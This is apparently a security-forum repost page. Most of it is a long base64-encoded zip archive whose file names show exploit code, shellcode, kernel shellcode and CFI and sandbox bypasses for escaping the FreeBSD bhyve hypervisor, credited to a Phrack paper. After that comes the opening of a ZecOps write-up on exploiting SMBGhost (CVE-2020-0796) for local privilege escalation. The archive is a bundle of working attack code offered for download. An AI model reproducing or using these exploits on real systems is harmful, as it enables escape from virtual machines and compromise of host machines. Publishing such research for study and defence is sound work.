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 +LPMdWpXwpzn5PZ8bHq4hMt+d7qoCVzVcDP+BVBLAwQUAAAACABnbkhN5q/BJ9IAAACLAQAAMAA cAGNvZGUvc2V0dXBCL2Z3Y3RsX3NhbmRib3hfYmluZF9leHBsb2l0L3N5c2NhbGwuU1VUCQADQs O7W0LDu1t1eAsAAQToAwAABOgDAABtkMEOgjAMhs/sKXoxUQNDDxr0YDz4BPoABrcqi8B0Kwbe3 m0QosbLmn7/33YttyhI6Ro4YUuM30p9KcF2VuRleb42tfjHzlhLxql74BeOYe+D78c++ZZFlX49 YWKkit2bt1GUzuHUW6BuqgsaSHbgFA4wT0e/DX6pgt8W6kqQm9sSEh9W317ZxqFiBCIA2Y4g8/l yMeYbn2dDmk1d8WMWO+yHuf5rUBbcaahwa1Iu7sO8YbUofOqge72zhBV4PrgMUu84IjXGddFBRd Prv+fcsjdQSwECHgMKAAAAAAAlS25QAAAAAAAAAAAAAAAABQAYAAAAAAAAABAA7UEAAAAAY29kZ S9VVAUAA2YFbV51eAsAAQToAwAABOgDAABQSwECHgMKAAAAAACAS25QAAAAAAAAAAAAAAAADAAY AAAAAAAAABAA7UE/AAAAY29kZS9zZXR1cEMvVVQFAAMPBm1edXgLAAEE6AMAAAToAwAAUEsBAh4 DFAAAAAgAgqNGTcRq3cmpAAAADQEAABoAGAAAAAAAAQAAAKSBhQAAAGNvZGUvc2V0dXBDL2JoeX ZlcnVuLnBhdGNoVVQFAANEfblbdXgLAAEE6AMAAAToAwAAUEsBAh4DCgAAAAAAi0tuUAAAAAAAA AAAAAAAAB4AGAAAAAAAAAAQAO1BggEAAGNvZGUvc2V0dXBDL2NmaV9zaWduYWxfYnlwYXNzL1VU BQADJgZtXnV4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAIAMuVH01J0sHDmwgAAFUZAAAqABgAAAA AAAEAAACkgdoBAABjb2RlL3NldHVwQy9jZmlfc2lnbmFsX2J5cGFzcy9zdHJ1Y3R1cmVzLmhVVA UAA27viVt1eAsAAQToAwAABOgDAABQSwECHgMUAAAACADLlR9NnhPDa8AHAAA8FQAAIwAYAAAAA AABAAAApIHZCgAAY29kZS9zZXR1cEMvY2ZpX3NpZ25hbF9ieXBhc3MvdmdhLmhVVAUAA27viVt1 eAsAAQToAwAABOgDAABQSwECHgMUAAAACAAEAEpNb5W0RS0JAAASHAAAJwAYAAAAAAABAAAApIH 2EgAAY29kZS9zZXR1cEMvY2ZpX3NpZ25hbF9ieXBhc3MvZXhwbG9pdC5jVVQFAAN4o71bdXgLAA EE6AMAAAToAwAAUEsBAh4DFAAAAAgAxkBGTcWKG5VCAAAAWQAAACYAGAAAAAAAAQAAAKSBhBwAA GNvZGUvc2V0dXBDL2NmaV9zaWduYWxfYnlwYXNzL01ha2VmaWxlVVQFAANkz7hbdXgLAAEE6AMA AAToAwAAUEsBAh4DFAAAAAgAy5UfTZmeBD4YAQAAjwIAACcAGAAAAAAAAQAAAKSBJh0AAGNvZGU vc2V0dXBDL2NmaV9zaWduYWxfYnlwYXNzL2FkZHJlc3MuaFVUBQADbu+JW3V4CwABBOgDAAAE6A MAAFBLAQIeAwoAAAAAANBLblAAAAAAAAAAAAAAAAAhABgAAAAAAAAAEADtQZ8eAABjb2RlL3Nld HVwQy9jZmlfc2FmZXN0YWNrX2J5cGFzcy9VVAUAA6cGbV51eAsAAQToAwAABOgDAABQSwECHgMU AAAACADADUZNI1LB/JcIAABFGQAALQAYAAAAAAABAAAApIH6HgAAY29kZS9zZXR1cEMvY2ZpX3N hZmVzdGFja19ieXBhc3Mvc3RydWN0dXJlcy5oVVQFAANIdrhbdXgLAAEE6AMAAAToAwAAUEsBAh 4DFAAAAAgAy5UfTZ4Tw2vABwAAPBUAACYAGAAAAAAAAQAAAKSB+CcAAGNvZGUvc2V0dXBDL2Nma V9zYWZlc3RhY2tfYnlwYXNzL3ZnYS5oVVQFAANu74lbdXgLAAEE6AMAAAToAwAAUEsBAh4DFAAA AAgAeb9JTXsFNSp/CQAABB4AACoAGAAAAAAAAQAAAKSBGDAAAGNvZGUvc2V0dXBDL2NmaV9zYWZ lc3RhY2tfYnlwYXNzL2V4cGxvaXQuY1VUBQADZqO9W3V4CwABBOgDAAAE6AMAAFBLAQIeAxQAAA AIAOYNRk2TvZUedgAAAKYAAAApABgAAAAAAAEAAACkgfs5AABjb2RlL3NldHVwQy9jZmlfc2FmZ XN0YWNrX2J5cGFzcy9NYWtlZmlsZVVUBQADkHa4W3V4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAI AGENRk0PYK6UEgEAABsCAAAqABgAAAAAAAEAAACkgdQ6AABjb2RlL3NldHVwQy9jZmlfc2FmZXN 0YWNrX2J5cGFzcy9hZGRyZXNzLmhVVAUAA5Z1uFt1eAsAAQToAwAABOgDAABQSwECHgMKAAAAAA A4S25QAAAAAAAAAAAAAAAADAAYAAAAAAAAABAA7UFKPAAAY29kZS9zZXR1cEEvVVQFAAOLBW1ed XgLAAEE6AMAAAToAwAAUEsBAh4DCgAAAAAALl9JTQAAAAAAAAAAAAAAABwAGAAAAAAAAAAQAO1B kDwAAGNvZGUvc2V0dXBBL3ZnYV9wY2lfZXhwbG9pdC9VVAUAAxj6vFt1eAsAAQToAwAABOgDAAB QSwECHgMUAAAACAAmZjNNL3W/7twDAACICgAAKAAYAAAAAAABAAAApIHmPAAAY29kZS9zZXR1cE EvdmdhX3BjaV9leHBsb2l0L3N0cnVjdHVyZXMuaFVUBQADOKiiW3V4CwABBOgDAAAE6AMAAFBLA QIeAxQAAAAIAPlIdEyeE8NrwAcAADwVAAAhABgAAAAAAAEAAACkgSRBAABjb2RlL3NldHVwQS92 Z2FfcGNpX2V4cGxvaXQvdmdhLmhVVAUAA9YxsVp1eAsAAQToAwAABOgDAABQSwECHgMUAAAACAD WZDNN8VKbcjoCAACXBAAAIQAYAAAAAAABAAAApIE/SQAAY29kZS9zZXR1cEEvdmdhX3BjaV9leH Bsb2l0L21tdS5jVVQFAAPEpaJbdXgLAAEE6AMAAAToAwAAUEsBAh4DFAAAAAgAjAJDTVaLN0uaC QAAyBoAACUAGAAAAAAAAQAAAKSB1EsAAGNvZGUvc2V0dXBBL3ZnYV9wY2lfZXhwbG9pdC9leHBs b2l0LmNVVAUAA7httFt1eAsAAQToAwAABOgDAABQSwECHgMUAAAACADjW0JNkl0b+FgAAAB5AAA AJAAYAAAAAAABAAAApIHNVQAAY29kZS9zZXR1cEEvdmdhX3BjaV9leHBsb2l0L01ha2VmaWxlVV QFAANqubNbdXgLAAEE6AMAAAToAwAAUEsBAh4DCgAAAAAAM19JTQAAAAAAAAAAAAAAABcAGAAAA AAAAAAQAO1Bg1YAAGNvZGUvc2V0dXBBL3JlYWRtZW1vcnkvVVQFAAMi+rxbdXgLAAEE6AMAAATo AwAAUEsBAh4DFAAAAAgAlbwzTVGSSX2nAQAAZwMAACMAGAAAAAAAAQAAAKSB1FYAAGNvZGUvc2V 0dXBBL3JlYWRtZW1vcnkvcmVhZG1lbW9yeS5jVVQFAAP6P6NbdXgLAAEE6AMAAAToAwAAUEsBAh 4DFAAAAAgAsrwzTbjXL9BDAAAAZgAAAB8AGAAAAAAAAQAAAKSB2FgAAGNvZGUvc2V0dXBBL3JlY WRtZW1vcnkvTWFrZWZpbGVVVAUAAzBAo1t1eAsAAQToAwAABOgDAABQSwECHgMKAAAAAAAPX0lN AAAAAAAAAAAAAAAAIgAYAAAAAAAAABAA7UF0WQAAY29kZS9zZXR1cEEvdmdhX2Zha2VhcmVuYV9 leHBsb2l0L1VUBQAD3vm8W3V4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAIAKVBNE2PE4QnuwEAAN kDAAAtABgAAAAAAAEAAACkgdBZAABjb2RlL3NldHVwQS92Z2FfZmFrZWFyZW5hX2V4cGxvaXQvc 2hlbGxjb2RlLmhVVAUAAwa5o1t1eAsAAQToAwAABOgDAABQSwECHgMUAAAACAClQTRNFsW0rUYH AABtGgAALgAYAAAAAAABAAAApIHyWwAAY29kZS9zZXR1cEEvdmdhX2Zha2VhcmVuYV9leHBsb2l 0L3N0cnVjdHVyZXMuaFVUBQADBrmjW3V4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAIAAtfSU01Ah KciAIAAFwGAAAtABgAAAAAAAEAAACkgaBjAABjb2RlL3NldHVwQS92Z2FfZmFrZWFyZW5hX2V4c GxvaXQvc2hlbGxjb2RlLmNVVAUAA9b5vFt1eAsAAQToAwAABOgDAABQSwECHgMUAAAACAClQTRN nhPDa8AHAAA8FQAAJwAYAAAAAAABAAAApIGPZgAAY29kZS9zZXR1cEEvdmdhX2Zha2VhcmVuYV9 leHBsb2l0L3ZnYS5oVVQFAAMGuaNbdXgLAAEE6AMAAAToAwAAUEsBAh4DFAAAAAgApUE0TULcnR 4vAgAAagQAACcAGAAAAAAAAQAAAKSBsG4AAGNvZGUvc2V0dXBBL3ZnYV9mYWtlYXJlbmFfZXhwb G9pdC9tbXUuY1VUBQADBrmjW3V4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAIAA9fSU1MOYFO6w4A AMIvAAArABgAAAAAAAEAAACkgUBxAABjb2RlL3NldHVwQS92Z2FfZmFrZWFyZW5hX2V4cGxvaXQ vZXhwbG9pdC5jVVQFAAPe+bxbdXgLAAEE6AMAAAToAwAAUEsBAh4DFAAAAAgApUE0TXIw3Im8DQ AAqjEAACsAGAAAAAAAAQABACSBkIAAAGNvZGUvc2V0dXBBL3ZnYV9mYWtlYXJlbmFfZXhwbG9pd C9zeXNjYWxsLmhVVAUAAwa5o1t1eAsAAQToAwAABOgDAABQSwECHgMUAAAACAClQTRNLcauJZoE AABSDQAALAAYAAAAAAABAAAApIGxjgAAY29kZS9zZXR1cEEvdmdhX2Zha2VhcmVuYV9leHBsb2l 0L2plbWFsbG9jLmhVVAUAAwa5o1t1eAsAAQToAwAABOgDAABQSwECHgMUAAAACAClQTRNjk8zyW IAAACZAAAAKgAYAAAAAAABAAAApIGxkwAAY29kZS9zZXR1cEEvdmdhX2Zha2VhcmVuYV9leHBsb 2l0L01ha2VmaWxlVVQFAAMGuaNbdXgLAAEE6AMAAAToAwAAUEsBAh4DFAAAAAgApUE0TQ41x0kK AgAArgYAACsAGAAAAAAAAQAAAKSBd5QAAGNvZGUvc2V0dXBBL3ZnYV9mYWtlYXJlbmFfZXhwbG9 pdC9hZGRyZXNzLmhVVAUAAwa5o1t1eAsAAQToAwAABOgDAABQSwECHgMUAAAACAClQTRN5q/BJ9 IAAACLAQAAKwAYAAAAAAABAAAApIHmlgAAY29kZS9zZXR1cEEvdmdhX2Zha2VhcmVuYV9leHBsb 2l0L3N5c2NhbGwuU1VUBQADBrmjW3V4CwABBOgDAAAE6AMAAFBLAQIeAwoAAAAAAD1fSU0AAAAA AAAAAAAAAAAfABgAAAAAAAAAEADtQR2YAABjb2RlL3NldHVwQS92Z2FfaW9wb3J0X2V4cGxvaXQ vVVQFAAM2+rxbdXgLAAEE6AMAAAToAwAAUEsBAh4DFAAAAAgA2KY+TY8ThCe7AQAA2QMAACoAGA AAAAAAAQAAAKSBdpgAAGNvZGUvc2V0dXBBL3ZnYV9pb3BvcnRfZXhwbG9pdC9zaGVsbGNvZGUua FVUBQADiJqxW3V4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAIANimPk0WxbStRgcAAG0aAAArABgA AAAAAAEAAACkgZWaAABjb2RlL3NldHVwQS92Z2FfaW9wb3J0X2V4cGxvaXQvc3RydWN0dXJlcy5 oVVQFAAOImrFbdXgLAAEE6AMAAAToAwAAUEsBAh4DFAAAAAgAJl9JTTUCEpyIAgAAXAYAACoAGA AAAAAAAQAAAKSBQKIAAGNvZGUvc2V0dXBBL3ZnYV9pb3BvcnRfZXhwbG9pdC9zaGVsbGNvZGUuY 1VUBQADCPq8W3V4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAIANimPk2eE8NrwAcAADwVAAAkABgA AAAAAAEAAACkgSylAABjb2RlL3NldHVwQS92Z2FfaW9wb3J0X2V4cGxvaXQvdmdhLmhVVAUAA4i asVt1eAsAAQToAwAABOgDAABQSwECHgMUAAAACADYpj5NQtydHi8CAABqBAAAJAAYAAAAAAABAA AApIFKrQAAY29kZS9zZXR1cEEvdmdhX2lvcG9ydF9leHBsb2l0L21tdS5jVVQFAAOImrFbdXgLA AEE6AMAAAToAwAAUEsBAh4DFAAAAAgAGKw+TUtCX1egDwAA6TQAACgAGAAAAAAAAQAAAKSB168A AGNvZGUvc2V0dXBBL3ZnYV9pb3BvcnRfZXhwbG9pdC9leHBsb2l0LmNVVAUAA3CjsVt1eAsAAQT oAwAABOgDAABQSwECHgMUAAAACADYpj5NcjDcibwNAACqMQAAKAAYAAAAAAABAAEAJIHZvwAAY2 9kZS9zZXR1cEEvdmdhX2lvcG9ydF9leHBsb2l0L3N5c2NhbGwuaFVUBQADiJqxW3V4CwABBOgDA AAE6AMAAFBLAQIeAxQAAAAIANimPk2OTzPJYgAAAJkAAAAnABgAAAAAAAEAAACkgffNAABjb2Rl L3NldHVwQS92Z2FfaW9wb3J0X2V4cGxvaXQvTWFrZWZpbGVVVAUAA4iasVt1eAsAAQToAwAABOg DAABQSwECHgMUAAAACACQqD5NcNqtvCwCAADwBgAAKAAYAAAAAAABAAAApIG6zgAAY29kZS9zZX R1cEEvdmdhX2lvcG9ydF9leHBsb2l0L2FkZHJlc3MuaFVUBQAD0JyxW3V4CwABBOgDAAAE6AMAA FBLAQIeAxQAAAAIANimPk3mr8En0gAAAIsBAAAoABgAAAAAAAEAAACkgUjRAABjb2RlL3NldHVw QS92Z2FfaW9wb3J0X2V4cGxvaXQvc3lzY2FsbC5TVVQFAAOImrFbdXgLAAEE6AMAAAToAwAAUEs BAh4DCgAAAAAANnJITQAAAAAAAAAAAAAAAAwAGAAAAAAAAAAQAO1BfNIAAGNvZGUvc2V0dXBCL1 VUBQADeMm7W3V4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAIADZySE2ZQLEwpwAAAN4AAAAaABgAA AAAAAEAAACkgcLSAABjb2RlL3NldHVwQi9iaHl2ZXJ1bi5wYXRjaFVUBQADeMm7W3V4CwABBOgD AAAE6AMAAFBLAQIeAwoAAAAAAJYpSU0AAAAAAAAAAAAAAAApABgAAAAAAAAAEADtQb3TAABjb2R lL3NldHVwQi9md2N0bF9zYW5kYm94X2Rldm1lbV9leHBsb2l0L1VUBQADPJu8W3V4CwABBOgDAA AE6AMAAFBLAQIeAxQAAAAIACtuSE3eiqiISwEAAL8CAAA0ABgAAAAAAAEAAACkgSDUAABjb2RlL 3NldHVwQi9md2N0bF9zYW5kYm94X2Rldm1lbV9leHBsb2l0L3NoZWxsY29kZS5oVVQFAAPSwrtb dXgLAAEE6AMAAAToAwAAUEsBAh4DFAAAAAgAK25ITVJHs5QuCQAAvRsAADUAGAAAAAAAAQAAAKS B2dUAAGNvZGUvc2V0dXBCL2Z3Y3RsX3NhbmRib3hfZGV2bWVtX2V4cGxvaXQvc3RydWN0dXJlcy 5oVVQFAAPSwrtbdXgLAAEE6AMAAAToAwAAUEsBAh4DFAAAAAgAkilJTZN01yg3BAAA9goAADQAG AAAAAAAAQAAAKSBdt8AAGNvZGUvc2V0dXBCL2Z3Y3RsX3NhbmRib3hfZGV2bWVtX2V4cGxvaXQv c2hlbGxjb2RlLmNVVAUAAzSbvFt1eAsAAQToAwAABOgDAABQSwECHgMUAAAACAArbkhNiiIbPFc LAAC+JgAAMgAYAAAAAAABAAAApIEb5AAAY29kZS9zZXR1cEIvZndjdGxfc2FuZGJveF9kZXZtZW 1fZXhwbG9pdC9leHBsb2l0LmNVVAUAA9LCu1t1eAsAAQToAwAABOgDAABQSwECHgMUAAAACAArb khNn67+dKYAAAApAQAAOgAYAAAAAAABAAAApIHe7wAAY29kZS9zZXR1cEIvZndjdGxfc2FuZGJv eF9kZXZtZW1fZXhwbG9pdC9rZXJuZWxzaGVsbGNvZGUuU1VUBQAD0sK7W3V4CwABBOgDAAAE6AM AAFBLAQIeAxQAAAAIACtuSE3/JtZdZwAAALMAAAAxABgAAAAAAAEAAACkgfjwAABjb2RlL3NldH VwQi9md2N0bF9zYW5kYm94X2Rldm1lbV9leHBsb2l0L01ha2VmaWxlVVQFAAPSwrtbdXgLAAEE6 AMAAAToAwAAUEsBAh4DFAAAAAgAK25ITQ9XBB9MAgAAGwgAADIAGAAAAAAAAQAAAKSByvEAAGNv ZGUvc2V0dXBCL2Z3Y3RsX3NhbmRib3hfZGV2bWVtX2V4cGxvaXQvYWRkcmVzcy5oVVQFAAPSwrt bdXgLAAEE6AMAAAToAwAAUEsBAh4DFAAAAAgAK25ITZSANuLSAAAAjAEAADIAGAAAAAAAAQAAAK SBgvQAAGNvZGUvc2V0dXBCL2Z3Y3RsX3NhbmRib3hfZGV2bWVtX2V4cGxvaXQvc3lzY2FsbC5TV VQFAAPSwrtbdXgLAAEE6AMAAAToAwAAUEsBAh4DCgAAAAAArSlJTQAAAAAAAAAAAAAAACYAGAAA AAAAAAAQAO1BwPUAAGNvZGUvc2V0dXBCL2Z3Y3RsX3NhbmRib3hfbWFwX2V4cGxvaXQvVVQFAAN mm7xbdXgLAAEE6AMAAAToAwAAUEsBAh4DFAAAAAgAXW5ITTD0QT31AQAASQQAADEAGAAAAAAAAQ AAAKSBIPYAAGNvZGUvc2V0dXBCL2Z3Y3RsX3NhbmRib3hfbWFwX2V4cGxvaXQvc2hlbGxjb2RlL mhVVAUAAzLDu1t1eAsAAQToAwAABOgDAABQSwECHgMUAAAACABdbkhNUkezlC4JAAC9GwAAMgAY AAAAAAABAAAApIGA+AAAY29kZS9zZXR1cEIvZndjdGxfc2FuZGJveF9tYXBfZXhwbG9pdC9zdHJ 1Y3R1cmVzLmhVVAUAAzLDu1t1eAsAAQToAwAABOgDAABQSwECHgMUAAAACACpKUlNUMJSqC4EAA C8CgAAMQAYAAAAAAABAAAApIEaAgEAY29kZS9zZXR1cEIvZndjdGxfc2FuZGJveF9tYXBfZXhwb G9pdC9zaGVsbGNvZGUuY1VUBQADXpu8W3V4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAIAF1uSE0W NDUpqQwAAFcrAAAvABgAAAAAAAEAAACkgbMGAQBjb2RlL3NldHVwQi9md2N0bF9zYW5kYm94X21 hcF9leHBsb2l0L2V4cGxvaXQuY1VUBQADMsO7W3V4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAIAF 1uSE3MnoZepQAAACgBAAA3ABgAAAAAAAEAAACkgcUTAQBjb2RlL3NldHVwQi9md2N0bF9zYW5kY m94X21hcF9leHBsb2l0L2tlcm5lbHNoZWxsY29kZS5TVVQFAAMyw7tbdXgLAAEE6AMAAAToAwAA UEsBAh4DFAAAAAgAXW5ITf8m1l1nAAAAswAAAC4AGAAAAAAAAQAAAKSB2xQBAGNvZGUvc2V0dXB CL2Z3Y3RsX3NhbmRib3hfbWFwX2V4cGxvaXQvTWFrZWZpbGVVVAUAAzLDu1t1eAsAAQToAwAABO gDAABQSwECHgMUAAAACABdbkhND1cEH0wCAAAbCAAALwAYAAAAAAABAAAApIGqFQEAY29kZS9zZ XR1cEIvZndjdGxfc2FuZGJveF9tYXBfZXhwbG9pdC9hZGRyZXNzLmhVVAUAAzLDu1t1eAsAAQTo AwAABOgDAABQSwECHgMUAAAACABdbkhN5q/BJ9IAAACLAQAALwAYAAAAAAABAAAApIFfGAEAY29 kZS9zZXR1cEIvZndjdGxfc2FuZGJveF9tYXBfZXhwbG9pdC9zeXNjYWxsLlNVVAUAAzLDu1t1eA sAAQToAwAABOgDAABQSwECHgMKAAAAAAB8KUlNAAAAAAAAAAAAAAAAJwAYAAAAAAAAABAA7UGaG QEAY29kZS9zZXR1cEIvZndjdGxfc2FuZGJveF9iaW5kX2V4cGxvaXQvVVQFAAMMm7xbdXgLAAEE 6AMAAAToAwAAUEsBAh4DFAAAAAgAZ25ITeVxnD8bAgAACQUAADIAGAAAAAAAAQAAAKSB+xkBAGN vZGUvc2V0dXBCL2Z3Y3RsX3NhbmRib3hfYmluZF9leHBsb2l0L3NoZWxsY29kZS5oVVQFAANCw7 tbdXgLAAEE6AMAAAToAwAAUEsBAh4DFAAAAAgAZ25ITVJHs5QuCQAAvRsAADMAGAAAAAAAAQAAA KSBghwBAGNvZGUvc2V0dXBCL2Z3Y3RsX3NhbmRib3hfYmluZF9leHBsb2l0L3N0cnVjdHVyZXMu aFVUBQADQsO7W3V4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAIAHgpSU2ooZttTwQAAFYLAAAyABg AAAAAAAEAAACkgR0mAQBjb2RlL3NldHVwQi9md2N0bF9zYW5kYm94X2JpbmRfZXhwbG9pdC9zaG VsbGNvZGUuY1VUBQADBJu8W3V4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAIADYoSU3RS3hRpQwAA EIrAAAwABgAAAAAAAEAAACkgdgqAQBjb2RlL3NldHVwQi9md2N0bF9zYW5kYm94X2JpbmRfZXhw bG9pdC9leHBsb2l0LmNVVAUAA6iYvFt1eAsAAQToAwAABOgDAABQSwECHgMUAAAACABnbkhNzJ6 GXqUAAAAoAQAAOAAYAAAAAAABAAAApIHnNwEAY29kZS9zZXR1cEIvZndjdGxfc2FuZGJveF9iaW 5kX2V4cGxvaXQva2VybmVsc2hlbGxjb2RlLlNVVAUAA0LDu1t1eAsAAQToAwAABOgDAABQSwECH gMUAAAACABnbkhN/ybWXWcAAACzAAAALwAYAAAAAAABAAAApIH+OAEAY29kZS9zZXR1cEIvZndj dGxfc2FuZGJveF9iaW5kX2V4cGxvaXQvTWFrZWZpbGVVVAUAA0LDu1t1eAsAAQToAwAABOgDAAB QSwECHgMUAAAACABnbkhND1cEH0wCAAAbCAAAMAAYAAAAAAABAAAApIHOOQEAY29kZS9zZXR1cE IvZndjdGxfc2FuZGJveF9iaW5kX2V4cGxvaXQvYWRkcmVzcy5oVVQFAANCw7tbdXgLAAEE6AMAA AToAwAAUEsBAh4DFAAAAAgAZ25ITeavwSfSAAAAiwEAADAAGAAAAAAAAQAAAKSBhDwBAGNvZGUv c2V0dXBCL2Z3Y3RsX3NhbmRib3hfYmluZF9leHBsb2l0L3N5c2NhbGwuU1VUBQADQsO7W3V4CwA BBOgDAAAE6AMAAFBLBQYAAAAATQBNADIhAADAPQEAAAA= <<<base64-end Sursa: http://phrack.org/papers/escaping_from_freebsd_bhyve.html
-
Exploiting SMBGhost (CVE-2020-0796) for a Local Privilege Escalation: Writeup + POC By ZecOps Research Team | March 31, 2020 SHARE THIS ARTICLE 1.5k Shares 240 795 37 Introduction CVE-2020-0796 is a bug in the compression mechanism of SMBv3.1.1, also known as “SMBGhost”. The bug affects Windows 10 versions 1903 and 1909, and it was announced and patched by Microsoft about three weeks ago. Once we heard about it, we skimmed over the details and created a quick POC (proof of concept) that demonstrates how the bug can be triggered remotely, without authentication, by causing a BSOD 